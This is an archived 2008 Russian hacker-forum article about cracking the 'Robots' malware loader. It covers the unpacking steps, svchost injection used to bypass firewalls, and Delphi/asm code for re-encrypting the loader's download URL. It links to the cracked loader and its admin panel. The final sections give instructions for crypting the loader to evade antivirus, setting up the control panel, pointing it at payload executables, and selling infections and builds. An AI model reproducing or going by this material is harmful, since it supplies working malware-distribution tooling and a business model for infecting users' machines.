Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Статья: Имеем лоадер Robots за 800$ на халяву !

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Журнал Xakep] >> Статья: Имеем лоадер Robots за 800$ на халяву !
Имя
Сообщение << Старые топики   Новые топики >>
Статья: Имеем лоадер Robots за 800$ на халяву ! - 2008-03-20 20:23:32.170000   
icqman666

Сообщений: 5
Оценки: 0
Присоединился: 2008-03-20 20:20:35.420000
[Внимание]
Скачать архив  с фаилами можно тут
http://rapidshare.de/files/38862218/archive.rar.html
http://dump.ru/files/o/o546527129/
http://webfile.ru/1811204
http://depositfiles.com/files/4192601

[Вступление]

В этой статье мы рассмотрим как, имея один билд лоадера, сделать для него конфигуратор. Тренироваться мы будем на очень известном лоадере robots. Для тех, кто не знает что это такое приведу небольшую цитату от разработчика:

>> Мы покупаем загрузки, тратим деньги, порою вообще большие суммы, а ведь легко
>> можем получать от этих же загрузок большую отдачу, только если сразу передать на
>> загрузку лоадер Robots. Тут мы получаем и удобную, а главное свою, а не чужую
>> статистику и возможность грузить еще не ограниченное число файлов друзьям,
>> знакомым за один подход, так и сами файлы будут грузиться качественнее. Вы
>> наверняка ощутите отдачу как только начнете, да и добрую часть денег сэкономить
>> можно, зачем лишнее тратить на "недогруженные" загрузки ;) …

Приводить все характеристики данного продукта нет смысла, все легко находиться в интернете при должном желании. Почему я выбрал  именно этот лоадер для опытов, да потому что он очень популярен и судя по заявлениям автора в него встроена мощная защита от реверсеров, т.е. от таких людей как мы. Что такое лоадер. Это небольшой файлик, который в обход фаерволов загружает нужный нам файл, на машину юзера и незаметно его запускает. Так что грузить файлы с помощью лоадера, намного лучше, чем грузить сразу файлы. Так что вещь в хозяйстве незаменимая.
Всё самое интересное находится в конце статьи.

[Анализ]

Ну что же, приступим. На руках имеем 1 билд лоадера, который безвозмездно пожертвовали нам добрые люди. Имя файла «loader.exe», размер ~6kb. Натравим на файл любой анализатор (PEiD, DiE, Protection ID) и узнаем что файл запакован «MEW 11 SE 1.2». Это не большая проблема, берём любимый  отладчик OllyDbg и вперед. Загружаем в Olly наш файл и оказываемся на точке входа, где видим примерно следующее:

0090B55F >- E9 F04BAFFF           JMP loader.00400154

Перейдём по адрему 00400154 и увидим следующий код:

00400154    BE 1CA09000           MOV ESI,loader.0090A01C
00400159    8BDE                  MOV EBX,ESI
0040015B    AD                    LODS DWORD PTR DS:[ESI]

Теперь листаем код не много вниз, пока не наткнемся на следующие команды:

004001F0    FF53 F4               CALL DWORD PTR DS:[EBX-C]
004001F3    AB                    STOS DWORD PTR ES:[EDI]
004001F4    85C0                  TEST EAX,EAX
004001F6  ^ 75 E5                 JNZ SHORT loader.004001DD
004001F8    C3                    RETN <- вот сюда нужно поставить breakpoint

Значит ставим breakpoint по адресу 004001F8 и запускаем программу на исполнение. Когда Olly прервётся в стеке будет примерно следующие:
 
0012FFC0  00909000  loader.00909000 <- начало криптора
0012FFC4  7C816FF7  RETURN to kernel32.7C816FF7



Вот это нам и надо, теперь будем распаковывать «мега приватный» криптор :) Делаем в Olly F8 (Step over) и перемещаемся на адрес 00909000:

00909000    CE                    INTO
00909001    9B                    WAIT
00909002    9F                    LAHF
00909003    98                    CWDE
00909004    98                    CWDE

Примитивный однобайтовый мусор у нас перед глазами, применяется он, чтобы сбить сигнатурную маску у аверов. В теории это так  - есть основной «скелет» команд, которые выполняют основную работу, а между ними внедряется случайное число мусорных команд. Но технология давно устарела, и современные аверы справляются с этой задачей. Тем более мусор в данном лоадере выделяется на фоне значащих команд. Ладно, нас это не интересует, надо снять криптор, чтобы уже исследовать сам лоадер. В общем, в крипторе особо интересного ничего нету, остановимся лишь на нескольких моментах:

009080E5    0F31                  RDTSC // получаем количество тактов
009080E7    2BC3                  SUB EAX,EBX // разность между двумя замерами
009080E9    EB 01                 JMP SHORT loader.009080EC
009080EB    90                    NOP // занопили мусорный байт
009080EC    3D 00000001           CMP EAX,1000000 // если больше 1000000h
009080F1    EB 01                 JMP SHORT loader.009080F4
009080F3    90                    NOP // занопили мусорный байт
009080F4  - 77 FE                 JA SHORT loader.009080F4 // то застрянем тут

>> RDTSC (Read Time Stamp Counter) — ассемблерная инструкция для платформы x86,
>> читающая счётчик TSC (Time Stamp Counter) и возвращающая в регистрах EDX:EAX
>> 64-битное количество тактов с момента последнего сброса процессора. RDTSC
>> поддерживается в процессорах Pentium и старше. Опкод: 0F 31.

Старая отладка нас не интересует, идём дальше, в крипторе вовсю используется приём с прыжком через мусорный байт, чтобы сбить с толку реверсера бредовым листингом, как это выглядит:

0090811F   /EB 01                 JMP SHORT loader.00908122
00908121   |EA E305EB01 EBEB      JMP FAR EBEB:01EB05E3                           
00908128    DF59 85               FISTP WORD PTR DS:[ECX-7B]
0090812B    C058 EB 01            RCR BYTE PTR DS:[EAX-15],1
0090812F    EA BA000000 00EB      JMP FAR EB00:000000BA                     

Кроме первой команды JMP SHORT loader.00908122 ничего из этого участка кода не понять, но если занопись мусорные байты, то листинг становиться более читабельным:

0090811F   /EB 01                 JMP SHORT loader.00908122
00908121   |90                    NOP
00908122   \E3 05                 JECXZ SHORT loader.00908129
00908124    EB 01                 JMP SHORT loader.00908127
00908126    90                    NOP
00908127  ^ EB DF                 JMP SHORT loader.00908108
00908129    59                    POP ECX
0090812A    85C0                  TEST EAX,EAX
0090812C    58                    POP EAX
0090812D    EB 01                 JMP SHORT loader.00908130
0090812F    90                    NOP

Ну вот, совсем другое дело. Едем дальше. Чуть позже произойдёт исключение с ошибкой записи в память:

00404996    BB 0000F7BF           MOV EBX,BFF70000 // адрес недоступный для записи
0040499B    85C9                  TEST ECX,ECX
0040499D    59                    POP ECX
0040499E    64:8937               MOV DWORD PTR FS:[EDI],ESI
004049A1    B8 002C2B1F           MOV EAX,1F2B2C00 // байты для записи
004049A6    8703                  XCHG DWORD PTR DS:[EBX],EAX // ошибка

Лоадер искусственно генерирует исключение и сам же его обрабатывает, такая техника помогает остановить эмулятор отдельный антивирусов, но она, как и все остальное безвозвратно устарела.  Дальше будет ещё исключение, проходим его и наконец перед нами место, которое можно принять за начало лоадера:

00401E78    803D F8464000 00      CMP BYTE PTR DS:[4046F8],0
00401E7F    75 0E                 JNZ SHORT loader.00401E8F
00401E81    C605 F8464000 01      MOV BYTE PTR DS:[4046F8],1
00401E88    BA 991E4000           MOV EDX,loader.00401E99
00401E8D    EB 05                 JMP SHORT loader.00401E94

Теперь нужно сдампить файл и привести его в человеческий вид. Полученный дамп будет весить 5mb, что ну никак не годиться, берём в руки любой PE-editor и отрезаем всё лишнее. Было:

секция 1:                        00001000 00509000 00001000 00509000 C00000E0
секция 2: ТuЫЉлФ 0050A000 00002000 0050A000 00002000 C00000E0

Стало:

секция 1: code     00001000 00509000 00001000 00003A00 E00000E0

Ещё в добавок к этому надо занулить директорию импорта ImportTable, и сделать SizeOfHeaders = 1000h, иначе файл упадёт при запуске. После всех этих манипуляций размер файла стал 18.5kb, ну это не 5mb, а если запаковать файл PeCompact, то размер будет 6kb, что вполне приемлемо для лоадера. Т.к. у нашего лоадера нету импорта, то он не запуститься на win 2000. Для того, чтобы файл нормально запускался и там, нужно добавить хотя бы 1 функцию, сделать это можно в ручную и ничего сложного нету в этом.
Я сделал так:

2500h: 00 00 00 00 00 00 00 00 00 00 00 00 28 25 00 00  …………(%..
2510h: 10 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .0…………..
2520h: 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32  ……..kernel32
2530h: 2E 64 6C 6C 00 00 B7 00 45 78 69 74 50 72 6F 63  .dll….ExitProc
2540h: 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00  ess………….

И соответственно ImportTable address = 2500h и size = 14h.

Теперь можно анализировать лоадер и искать нужное нам место для подменяя url на наш.
Принцип работы нас не интересует, нам важено сделать конфигуратор.

[Основная часть]

Не много посмотрев лоадер в Olly  я выяснил, что все строки шифруются одной процедурой:

0040141E    55                    PUSH EBP // начало

00401486    AC                    LODS BYTE PTR DS:[ESI] // esi = строка
00401487    84C0                  TEST AL,AL // пока символ <> 0
00401489    74 13                 JE SHORT dump_.0040149E
0040148B    FEC2                  INC DL // увеличиваем счётчик
0040148D    8ACA                  MOV CL,DL
0040148F    80E1 1F               AND CL,1F // счётчик AND 1Fh
00401492    80C1 61               ADD CL,61 // счётчик ADD 61h
00401495    FECE                  DEC DH // уменьшаем счётчик
00401497    32CE                  XOR CL,DH // ксорим 2 счетчика
00401499    32C1                  XOR AL,CL // ксорим символ строки
0040149B    AA                    STOS BYTE PTR ES:[EDI] // записываем в результат
0040149C  ^ EB E8                 JMP SHORT dump_.00401486

Алгоритм очень простой и обратимый. Т.е. если на вход подать зашифрованную строку, то она расшифруется, а если уже расшифрованную, то соответственно зашифруется. Осталось только найти нужную нам строку. Для обхода фаерволов применяется старый метод с запуском доверенного приложения «svchost.exe» и индектом в него кода, который скачивает нужный файл. Как я это узнал, да для этого надо всего лишь пройтись по лоадеру, разбирая каждую инструкцию, ничего сложного в этом нет. В данном случае инжектиться весь образ лоадера. Значит, чтоб вплотную подобраться к нудной нам строке, ставим breakpoint на CreateProcessA и запускаем лоадер. Через пару секунд прервёмся на этом месте:

7C802367 >/$  8BFF                MOV EDI,EDI
7C802369  |.  55                  PUSH EBP

И в стеке будет следующее:

0012FF30  0040226E  /CALL to CreateProcessA
0012FF34  00000000  |ModuleFileName = NULL
0012FF38  004048C2  |CommandLine = "svchost.exe" // доверенное приложение

Дальше перемещаемся, имеем в Olly по адресу ZwCreateThread, и чтоде мы видим:

7C90D7D2 >  68 19184000           PUSH 401819 // адрес перехватчика
7C90D7D7    C3                    RETN

А эта функция, оказывается, перехвачена и всё самое интересное будет происходить по адресу 401819. По-этому, идём по этому адресу и ставим breakpoint и жмём F9 (run) в Olly.



Когда прервёмся, увидим примерно  следующий код:

00401819    55                    PUSH EBP
0040181A    8BEC                  MOV EBP,ESP
0040181C    83C4 DC               ADD ESP,-24

Листаем вниз, пока не увидим следующие инструкции:

00401959    C786 B8000000 8E1B400>MOV DWORD PTR DS:[ESI+B8], 00401B8E
00401963    FF75 EC               PUSH DWORD PTR SS:[EBP-14]
00401966    8F86 AC000000         POP DWORD PTR DS:[ESI+AC]
0040196C    8B35 D4494000         MOV ESI,DWORD PTR DS:[4049D4]
00401972    8B3D CC494000         MOV EDI,DWORD PTR DS:[4049CC] // ZwCreateThread
00401978    A5                    MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00401979    66:A5                 MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI]
0040197B    FF75 F0               PUSH DWORD PTR SS:[EBP-10]
0040197E    FF75 20               PUSH DWORD PTR SS:[EBP+20]
00401981    FF75 F4               PUSH DWORD PTR SS:[EBP-C]
00401984    FF75 18               PUSH DWORD PTR SS:[EBP+18]
00401987    FF75 F8               PUSH DWORD PTR SS:[EBP-8]
0040198A    FF75 10               PUSH DWORD PTR SS:[EBP+10]
0040198D    FF75 0C               PUSH DWORD PTR SS:[EBP+C]
00401990    FF75 08               PUSH DWORD PTR SS:[EBP+8]
00401993    FF15 D0494000         CALL DWORD PTR DS:[4049D0] // ZwCreateThread

На этом участке происходит примерно следующее, снимается перехватчик с функции  ZwCreateThread и вызываем оригинальную функцию, перед этим меняем адрес начала нового потока на 00401B8E. Команды по этому адресу будут выполнены в контексте доверенного процесса. Вот то, что нам нужно. Для того, чтобы оказаться по адресу 00401B8E нам потребуется сделать следующее. Ставим breakpoint на адрес 0040197B, прерываемся на нём. Дальше переходим в olly на 00401B8E и нажимаем правую кнопку мыши, в выпавшем меню выбираем «New origin here», т.е. мы передали управление на этот адрес. Помните в начале мелькал адрес 0040141E, это процедура, которая расшифровывает строки, вот теперь ставим breakpoint на её начало. Прервёмся когда, в стеке будет следующее:

0012F32C  00401619  dump_.00401619
0012F330  00404088  dump_.00404088
0012F334  00404877  dump_.00404877 // вот адрес который нам нужен

Если дойди до конца процедуры

004014A4    61                    POPAD
004014A5    C9                    LEAVE
004014A6    C2 0400               RETN 4

то по адресу 00404877 будет наша искомая строка:

00404877  68 74 74 70 3A 2F 2F                             http://

Ну вот наше исследование подошло к концу, осталось заменить эту строку, на любую другую, которую мы захотим, для этого нужно зашифровать ее и записать в файл.

Алгоритм на дельфи с асм вставками будет выглядеть примерно так:

Var
s:string;
res:array [1..45] of byte;

Begin
   s:=new_url;
   ZeroMemory(@res,45);
    asm
      xor edx,edx
      mov esi,s // помещаем в esi адрес строки
      lea edi,res // помещаем в edi адрес выходного буфера
@@next_char:
      LODS BYTE PTR DS:[ESI] // помещаем в AL символ из нашей строки
      TEST AL,AL
      JE @@exit // конец строки?
      INC DL // эти действия мы разбирали ранее
      MOV CL,DL
      AND CL,1Fh
      ADD CL,61h
      DEC DH
      XOR CL,DH
      XOR AL,CL
      STOS BYTE PTR ES:[EDI] // помещаем полученный байт в выходной массив
      jmp @@next_char
@@exit: // на выход
    end;

[Итог]

Вот так не сложно, мы написали конфигуратор к лоадеру, цена которому 800 $. Для этого нужно было только не много терпения и небольшой опыт в реверсе. Авторам можно посоветовать за такие деньги в несколько раз больше трудиться над продуктом. С уверенностью можно утверждать, что цена явно завышена.

[Бонус]

К статье прилагается распакованный лоадер, готовый конфигуратор, его исходники и скрипты. Всё это доступно для ознакомления, чтобы каждый мог посмотреть, что же за софт продаётся за такие деньги. Распакованный лоадер прекрасно пакуется и криптуется, благодаря этому каждый может попробовать данный софт. Никаких вирусов и т.д. в софте нету.

Скачать архив  с фаилами можно тут
http://rapidshare.de/files/38862218/archive.rar.html
http://dump.ru/files/o/o546527129/
http://webfile.ru/1811204
http://depositfiles.com/files/4192601

[Использование]

Для начала надо сделать билд с нужным нам url (url до админки http://hots.com/bbb/robo.php). Затем запаковать любым пакером, я использовал PeCompact. Дальше можно криптануть каким-нибудь приватным криптором, rоих куча на бескрайних просторах. После этого заливаем админку на хост, настраиваем её, ничего сложного в этом нету.

Установка админки:

1. Распаковать содержимое архива и залить на сервер.
2. Установить права на запись на tasks и stat
3. Открыть http://ваш_сервер/admin.php в браузере и установить пароль на админку
4. Зайти в админку под admin/ваш_пароль и создать первые задания.

Дальше надо дать задание, в поле страна, пишем AC (All Country ну или сокращение любой страны, UA, US более подробно здесь http://www.bcpl.net/~j1m5path/isocodes-table.html) номер даём любой, в поле ссылка, пишем путь до нашего файла: http://host.com/gif/banner.exe 1 В конце, должна быть цифра обязательно, она определяет в каком порядке грузить файлы, т.е. если там несколько ссылок, то должно быть url 1 url 2 и т.д.
Вот вроде бы и всё, использовать можно как угодно, продавать чистые билды, самому грузить файлы, продавать загрузки и т.д. Возмодные цены:

- установка  и настройка  лоадера клиенту  на  хост  100$
- настроенный и криптованный лоадер  + скрипты     75$
- настроенный лоадер +скрипты                                    25$

[The end]
Post #: 1
Страниц:  [1]
Все форумы >> [Журнал Xakep] >> Статья: Имеем лоадер Robots за 800$ на халяву !







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.